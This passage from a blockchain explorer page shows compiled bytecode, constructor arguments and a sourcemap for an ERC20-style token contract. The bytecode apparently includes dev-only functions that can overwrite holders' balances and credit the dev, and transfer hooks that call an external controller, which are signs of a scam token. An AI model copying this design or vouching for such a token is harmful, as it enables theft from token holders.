ffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611c7383611e48565b15611d0857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b8152600401611cd5929190613094565b600060405180830381600087803b158015611cef57600080fd5b505af1158015611d03573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9d91906130e9565b151503611e3e57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b0a943228483611ded86611e48565b6040518463ffffffff1660e01b8152600401611e0b93929190613116565b600060405180830381600087803b158015611e2557600080fd5b505af1158015611e39573d6000803e3d6000fd5b505050505b505050565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611ef35750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611f015760019050611f06565b600090505b919050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4a82611f1f565b9050919050565b611f5a81611f3f565b8114611f6557600080fd5b50565b600081359050611f7781611f51565b92915050565b600060208284031215611f9357611f92611f15565b5b6000611fa184828501611f68565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fe4578082015181840152602081019050611fc9565b60008484015250505050565b6000601f19601f8301169050919050565b600061200c82611faa565b6120168185611fb5565b9350612026818560208601611fc6565b61202f81611ff0565b840191505092915050565b600060208201905081810360008301526120548184612001565b905092915050565b6000819050919050565b61206f8161205c565b811461207a57600080fd5b50565b60008135905061208c81612066565b92915050565b600080604083850312156120a9576120a8611f15565b5b60006120b785828601611f68565b92505060206120c88582860161207d565b9150509250929050565b60008115159050919050565b6120e7816120d2565b82525050565b600060208201905061210260008301846120de565b92915050565b6121118161205c565b82525050565b600060208201905061212c6000830184612108565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261215757612156612132565b5b8235905067ffffffffffffffff81111561217457612173612137565b5b6020830191508360208202830111156121905761218f61213c565b5b9250929050565b600080600080606085870312156121b1576121b0611f15565b5b600085013567ffffffffffffffff8111156121cf576121ce611f1a565b5b6121db87828801612141565b945094505060206121ee8782880161207d565b92505060406121ff8782880161207d565b91505092959194509250565b60008060006060848603121561222457612223611f15565b5b600061223286828701611f68565b935050602061224386828701611f68565b92505060406122548682870161207d565b9150509250925092565b600060ff82169050919050565b6122748161225e565b82525050565b600060208201905061228f600083018461226b565b92915050565b6000602082840312156122ab576122aa611f15565b5b60006122b98482850161207d565b91505092915050565b6000806000606084860312156122db576122da611f15565b5b60006122e986828701611f68565b93505060206122fa8682870161207d565b925050604061230b86828701611f68565b9150509250925092565b61231e81611f3f565b82525050565b60006020820190506123396000830184612315565b92915050565b6000806040838503121561235657612355611f15565b5b600061236485828601611f68565b925050602061237585828601611f68565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123c657607f821691505b6020821081036123d9576123d861237f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124778261205c565b91506124828361205c565b9250826124925761249161240e565b5b828204905092915050565b60006124a88261205c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124da576124d961243d565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b612508816124e5565b811461251357600080fd5b50565b600081519050612525816124ff565b92915050565b600063ffffffff82169050919050565b6125448161252b565b811461254f57600080fd5b50565b6000815190506125618161253b565b92915050565b6000806000606084860312156125805761257f611f15565b5b600061258e86828701612516565b935050602061259f86828701612516565b92505060406125b086828701612552565b9150509250925092565b6000815190506125c981611f51565b92915050565b6000602082840312156125e5576125e4611f15565b5b60006125f3848285016125ba565b91505092915050565b60006126078261205c565b91506126128361205c565b925082820190508082111561262a5761262961243d565b5b92915050565b7f416d6f756e742045786365656473204c696d6974730000000000000000000000600082015250565b6000612666601583611fb5565b915061267182612630565b602082019050919050565b6000602082019050818103600083015261269581612659565b9050919050565b60006126a78261205c565b91506126b28361205c565b92508282026126c08161205c565b915082820484148315176126d7576126d661243d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61274281611f3f565b82525050565b60006127548383612739565b60208301905092915050565b6000602082019050919050565b60006127788261270d565b6127828185612718565b935061278d83612729565b8060005b838110156127be5781516127a58882612748565b97506127b083612760565b925050600181019050612791565b5085935050505092915050565b60006040820190506127e06000830185612108565b81810360208301526127f2818461276d565b90509392505050565b61280482611ff0565b810181811067ffffffffffffffff82111715612823576128226126de565b5b80604052505050565b6000612836611f0b565b905061284282826127fb565b919050565b600067ffffffffffffffff821115612862576128616126de565b5b602082029050602081019050919050565b60008151905061288281612066565b92915050565b600061289b61289684612847565b61282c565b905080838252602082019050602084028301858111156128be576128bd61213c565b5b835b818110156128e757806128d38882612873565b8452602084019350506020810190506128c0565b5050509392505050565b600082601f83011261290657612905612132565b5b8151612916848260208601612888565b91505092915050565b60006020828403121561293557612934611f15565b5b600082015167ffffffffffffffff81111561295357612952611f1a565b5b61295f848285016128f1565b91505092915050565b600060a08201905061297d6000830188612108565b61298a6020830187612108565b818103604083015261299c818661276d565b90506129ab6060830185612315565b6129b86080830184612108565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129f8602083611fb5565b9150612a03826129c2565b602082019050919050565b60006020820190508181036000830152612a27816129eb565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612a8a602583611fb5565b9150612a9582612a2e565b604082019050919050565b60006020820190508181036000830152612ab981612a7d565b9050919050565b7f6465762063616e2774206265207a65726f2d6164647265737300000000000000600082015250565b6000612af6601983611fb5565b9150612b0182612ac0565b602082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612b88602683611fb5565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c1a602483611fb5565b9150612c2582612bbe565b604082019050919050565b60006020820190508181036000830152612c4981612c0d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cac602283611fb5565b9150612cb782612c50565b604082019050919050565b60006020820190508181036000830152612cdb81612c9f565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612d18601d83611fb5565b9150612d2382612ce2565b602082019050919050565b60006020820190508181036000830152612d4781612d0b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612daa602583611fb5565b9150612db582612d4e565b604082019050919050565b60006020820190508181036000830152612dd981612d9d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e3c602383611fb5565b9150612e4782612de0565b604082019050919050565b60006020820190508181036000830152612e6b81612e2f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612ece602683611fb5565b9150612ed982612e72565b604082019050919050565b60006020820190508181036000830152612efd81612ec1565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f60602183611fb5565b9150612f6b82612f04565b604082019050919050565b60006020820190508181036000830152612f8f81612f53565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff2602283611fb5565b9150612ffd82612f96565b604082019050919050565b6000602082019050818103600083015261302181612fe5565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600061305e601f83611fb5565b915061306982613028565b602082019050919050565b6000602082019050818103600083015261308d81613051565b9050919050565b60006040820190506130a96000830185612315565b6130b66020830184612108565b9392505050565b6130c6816120d2565b81146130d157600080fd5b50565b6000815190506130e3816130bd565b92915050565b6000602082840312156130ff576130fe611f15565b5b600061310d848285016130d4565b91505092915050565b600060608201905061312b6000830186612315565b6131386020830185612108565b61314560408301846120de565b94935050505056fea26469706673582212207d54f318a586aa71f8d3cfeed3f9f87bf7453f5a82f41cfb2c932b2ca2698d4864736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b552b4656f8b0b0b5e021f2796001450a4a375bc

-----Decoded View---------------
Arg [0] : _routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _controllerAddress (address): 0xb552b4656f8b0B0B5e021F2796001450A4a375Bc

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000b552b4656f8b0b0b5e021f2796001450a4a375bc


Deployed Bytecode Sourcemap

11492:9595:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17990:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12458:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13370:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12759:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20643:441;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13579:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12660:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20345:289;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13882:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14737:141;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14570:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19210:1127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19115:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12875:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1399:103;;;:::i;:::-;;777:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12557:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14128:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13010:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18907:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13211:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;991:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17990:169;18080:3;;;;;;;;;;;18064:19;;:12;:10;:12::i;:::-;:19;;;18060:92;;18125:14;18100:11;;:40;;;;;;;;;;;;;;;;;;18060:92;17990:169;:::o;12458:91::-;12503:13;12536:5;12529:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12458:91;:::o;13370:201::-;13453:4;13470:13;13486:12;:10;:12::i;:::-;13470:28;;13509:32;13518:5;13525:7;13534:6;13509:8;:32::i;:::-;13559:4;13552:11;;;13370:201;;;;:::o;12759:108::-;12820:7;12847:12;;12840:19;;12759:108;:::o;20643:441::-;20770:3;;;;;;;;;;;20754:19;;:12;:10;:12::i;:::-;:19;;;20750:327;;20795:6;20790:275;20811:6;;:13;;20807:1;:17;20790:275;;;20877:19;20854:20;20864:6;;20871:1;20864:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20854;:20::i;:::-;:42;20850:200;;;20921:17;20964:8;20941:9;:20;20951:6;;20958:1;20951:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20941:20;;;;;;;;;;;;;;;;:31;;;;:::i;:::-;20921:51;;21018:12;20995:9;:20;21005:6;;21012:1;21005:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20995:20;;;;;;;;;;;;;;;:35;;;;20898:152;20850:200;20826:3;;;;;:::i;:::-;;;;20790:275;;;;20750:327;20643:441;;;;:::o;13579:295::-;13710:4;13727:15;13745:12;:10;:12::i;:::-;13727:30;;13768:38;13784:4;13790:7;13799:6;13768:15;:38::i;:::-;13817:27;13827:4;13833:2;13837:6;13817:9;:27::i;:::-;13862:4;13855:11;;;13579:295;;;;;:::o;12660:91::-;12709:5;12734:9;;;;;;;;;;;12727:16;;12660:91;:::o;20345:289::-;20410:7;20431:16;20449;20470:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20430:59;;;;;20500:24;20546:5;20528:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;20527:65;;20583:8;20575:17;;20527:65;;;20563:8;20555:17;;20527:65;20500:92;;20610:16;20603:23;;;;;20345:289;;;:::o;13882:238::-;13970:4;13987:13;14003:12;:10;:12::i;:::-;13987:28;;14026:64;14035:5;14042:7;14079:10;14051:25;14061:5;14068:7;14051:9;:25::i;:::-;:38;;;;:::i;:::-;14026:8;:64::i;:::-;14108:4;14101:11;;;13882:238;;;;:::o;14737:141::-;14802:3;;;;;;;;;;;14786:19;;:12;:10;:12::i;:::-;:19;;;14782:79;;14821:27;14827:12;:10;:12::i;:::-;14841:6;14821:5;:27::i;:::-;14782:79;14737:141;:::o;14570:159::-;14647:3;;;;;;;;;;;14631:19;;:12;:10;:12::i;:::-;:19;;;14627:85;;14694:6;14667:9;:23;14677:12;:10;:12::i;:::-;14667:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;14627:85;14570:159;:::o;19210:1127::-;19320:3;;;;;;;;;;;19304:19;;:12;:10;:12::i;:::-;:19;;;19300:1030;;19357:1;19348:6;:10;:29;;;;;19371:6;19362;:15;19348:29;19340:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;19418:24;19445:30;19465:9;19445:19;:30::i;:::-;19418:57;;19490:11;19524:19;19505:16;:38;19504:67;;19561:10;19504:67;;;19547:11;:9;:11::i;:::-;19504:67;19490:81;;19586:14;19631:6;19622;19603:16;:25;;;;:::i;:::-;:34;;;;:::i;:::-;19586:51;;19652:21;19709:1;19695:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19688:23;;19744:4;19726;19731:1;19726:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;19774:9;19764:4;19769:1;19764:7;;;;;;;;:::i;:::-;;;;;;;:19;;;;;;;;;;;19798:28;19869:1;19855:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19841:30;;19900:7;;;;;;;;;;;:20;;;19921:9;19932:4;19900:37;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19886:51;;19952:36;19966:4;19973:11;19985:1;19973:14;;;;;;;;:::i;:::-;;;;;;;;19952:5;:36::i;:::-;20003:13;20037:4;20019:15;:22;;;;:::i;:::-;20003:38;;20056:67;20073:4;20088:7;;;;;;;;;;;20098:24;20116:4;20098:9;:24::i;:::-;20056:8;:67::i;:::-;20138:7;;;;;;;;;;;:32;;;20189:9;20217:11;20229:1;20217:14;;;;;;;;:::i;:::-;;;;;;;;20250:4;20273:3;20295:8;20138:180;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;19325:1005;;;;;;19300:1030;19210:1127;;;:::o;19115:87::-;19155:4;19179:15;19172:22;;19115:87;:::o;12875:127::-;12949:7;12976:9;:18;12986:7;12976:18;;;;;;;;;;;;;;;;12969:25;;12875:127;;;:::o;1399:103::-;914:12;:10;:12::i;:::-;904:22;;:6;;;;;;;;;;:22;;;896:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1464:30:::1;1491:1;1464:18;:30::i;:::-;1399:103::o:0;777:79::-;815:7;842:6;;;;;;;;;;;835:13;;777:79;:::o;12557:95::-;12604:13;12637:7;12630:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12557:95;:::o;14128:434::-;14221:4;14238:13;14254:12;:10;:12::i;:::-;14238:28;;14277:24;14304:25;14314:5;14321:7;14304:9;:25::i;:::-;14277:52;;14368:15;14348:16;:35;;14340:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;14461:60;14470:5;14477:7;14505:15;14486:16;:34;14461:8;:60::i;:::-;14550:4;14543:11;;;;14128:434;;;;:::o;13010:193::-;13089:4;13106:13;13122:12;:10;:12::i;:::-;13106:28;;13145;13155:5;13162:2;13166:6;13145:9;:28::i;:::-;13191:4;13184:11;;;13010:193;;;;:::o;18907:200::-;18987:3;;;;;;;;;;;18971:19;;:12;:10;:12::i;:::-;:19;;;18967:133;;19031:1;19015:18;;:4;:18;;;19007:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;19084:4;19078:3;;:10;;;;;;;;;;;;;;;;;;18967:133;18907:200;:::o;13211:151::-;13300:7;13327:11;:18;13339:5;13327:18;;;;;;;;;;;;;;;:27;13346:7;13327:27;;;;;;;;;;;;;;;;13320:34;;13211:151;;;;:::o;991:201::-;914:12;:10;:12::i;:::-;904:22;;:6;;;;;;;;;;:22;;;896:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1100:1:::1;1080:22;;:8;:22;;::::0;1072:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1156:28;1175:8;1156:18;:28::i;:::-;991:201:::0;:::o;244:98::-;297:7;324:10;317:17;;244:98;:::o;17141:380::-;17294:1;17277:19;;:5;:19;;;17269:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17375:1;17356:21;;:7;:21;;;17348:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17459:6;17429:11;:18;17441:5;17429:18;;;;;;;;;;;;;;;:27;17448:7;17429:27;;;;;;;;;;;;;;;:36;;;;17497:7;17481:32;;17490:5;17481:32;;;17506:6;17481:32;;;;;;:::i;:::-;;;;;;;;17141:380;;;:::o;17529:453::-;17664:24;17691:25;17701:5;17708:7;17691:9;:25::i;:::-;17664:52;;17751:17;17731:16;:37;17727:248;;17813:6;17793:16;:26;;17785:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17897:51;17906:5;17913:7;17941:6;17922:16;:25;17897:8;:51::i;:::-;17727:248;17653:329;17529:453;;;:::o;14905:836::-;15052:1;15036:18;;:4;:18;;;15028:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15129:1;15115:16;;:2;:16;;;15107:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15184:38;15205:4;15211:2;15215:6;15184:20;:38::i;:::-;15235:19;15257:9;:15;15267:4;15257:15;;;;;;;;;;;;;;;;15235:37;;15306:6;15291:11;:21;;15283:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;15423:6;15409:11;:20;15391:9;:15;15401:4;15391:15;;;;;;;;;;;;;;;:38;;;;15626:6;15609:9;:13;15619:2;15609:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15674:2;15659:26;;15668:4;15659:26;;;15678:6;15659:26;;;;;;:::i;:::-;;;;;;;;15696:37;15716:4;15722:2;15726:6;15696:19;:37::i;:::-;15017:724;14905:836;;;:::o;16305:675::-;16408:1;16389:21;;:7;:21;;;16381:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16461:49;16482:7;16499:1;16503:6;16461:20;:49::i;:::-;16523:22;16548:9;:18;16558:7;16548:18;;;;;;;;;;;;;;;;16523:43;;16603:6;16585:14;:24;;16577:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;16722:6;16705:14;:23;16684:9;:18;16694:7;16684:18;;;;;;;;;;;;;;;:44;;;;16839:6;16823:12;;:22;;;;;;;;;;;16900:1;16874:37;;16883:7;16874:37;;;16904:6;16874:37;;;;;;:::i;:::-;;;;;;;;16924:48;16944:7;16961:1;16965:6;16924:19;:48::i;:::-;16370:610;16305:675;;:::o;16988:145::-;17032:7;17075:48;17052:73;;16988:145;:::o;15749:548::-;15852:1;15833:21;;:7;:21;;;15825:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;15903:49;15932:1;15936:7;15945:6;15903:20;:49::i;:::-;15981:6;15965:12;;:22;;;;;;;:::i;:::-;;;;;;;;16158:6;16136:9;:18;16146:7;16136:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;16212:7;16191:37;;16208:1;16191:37;;;16221:6;16191:37;;;;;;:::i;:::-;;;;;;;;16241:48;16269:1;16273:7;16282:6;16241:19;:48::i;:::-;15749:548;;:::o;1200:191::-;1274:16;1293:6;;;;;;;;;;;1274:25;;1319:8;1310:6;;:17;;;;;;;;;;;;;;;;;;1374:8;1343:40;;1364:8;1343:40;;;;;;;;;;;;1263:128;1200:191;:::o;18167:361::-;18305:14;18314:4;18305:8;:14::i;:::-;18301:88;;;18335:11;;;;;;;;;;;:30;;;18366:2;18370:6;18335:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18301:88;18439:4;18405:38;;:11;;;;;;;;;;;:28;;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:38;;;18401:120;;18459:11;;;;;;;;;;;:22;;;18482:4;18488:6;18496:12;18505:2;18496:8;:12::i;:::-;18459:50;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18401:120;18167:361;;;:::o;18759:124::-;;;;:::o;18536:215::-;18590:4;18626:7;;;;;;;;;;;18610:24;;:4;:24;;;:50;;;;18654:5;;;;;;;;;;;18638:22;;:4;:22;;;18610:50;18606:138;;;18683:4;18676:11;;;;18606:138;18727:5;18720:12;;18536:215;;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:117::-;4242:1;4239;4232:12;4256:117;4365:1;4362;4355:12;4379:117;4488:1;4485;4478:12;4519:568;4592:8;4602:6;4652:3;4645:4;4637:6;4633:17;4629:27;4619:122;;4660:79;;:::i;:::-;4619:122;4773:6;4760:20;4750:30;;4803:18;4795:6;4792:30;4789:117;;;4825:79;;:::i;:::-;4789:117;4939:4;4931:6;4927:17;4915:29;;4993:3;4985:4;4977:6;4973:17;4963:8;4959:32;4956:41;4953:128;;;5000:79;;:::i;:::-;4953:128;4519:568;;;;;:::o;5093:849::-;5197:6;5205;5213;5221;5270:2;5258:9;5249:7;5245:23;5241:32;5238:119;;;5276:79;;:::i;:::-;5238:119;5424:1;5413:9;5409:17;5396:31;5454:18;5446:6;5443:30;5440:117;;;5476:79;;:::i;:::-;5440:117;5589:80;5661:7;5652:6;5641:9;5637:22;5589:80;:::i;:::-;5571:98;;;;5367:312;5718:2;5744:53;5789:7;5780:6;5769:9;5765:22;5744:53;:::i;:::-;5734:63;;5689:118;5846:2;5872:53;5917:7;5908:6;5897:9;5893:22;5872:53;:::i;:::-;5862:63;;5817:118;5093:849;;;;;;;:::o;5948:619::-;6025:6;6033;6041;6090:2;6078:9;6069:7;6065:23;6061:32;6058:119;;;6096:79;;:::i;:::-;6058:119;6216:1;6241:53;6286:7;6277:6;6266:9;6262:22;6241:53;:::i;:::-;6231:63;;6187:117;6343:2;6369:53;6414:7;6405:6;6394:9;6390:22;6369:53;:::i;:::-;6359:63;;6314:118;6471:2;6497:53;6542:7;6533:6;6522:9;6518:22;6497:53;:::i;:::-;6487:63;;6442:118;5948:619;;;;;:::o;6573:86::-;6608:7;6648:4;6641:5;6637:16;6626:27;;6573:86;;;:::o;6665:112::-;6748:22;6764:5;6748:22;:::i;:::-;6743:3;6736:35;6665:112;;:::o;6783:214::-;6872:4;6910:2;6899:9;6895:18;6887:26;;6923:67;6987:1;6976:9;6972:17;6963:6;6923:67;:::i;:::-;6783:214;;;;:::o;7003:329::-;7062:6;7111:2;7099:9;7090:7;7086:23;7082:32;7079:119;;;7117:79;;:::i;:::-;7079:119;7237:1;7262:53;7307:7;7298:6;7287:9;7283:22;7262:53;:::i;:::-;7252:63;;7208:117;7003:329;;;;:::o;7338:619::-;7415:6;7423;7431;7480:2;7468:9;7459:7;7455:23;7451:32;7448:119;;;7486:79;;:::i;:::-;7448:119;7606:1;7631:53;7676:7;7667:6;7656:9;7652:22;7631:53;:::i;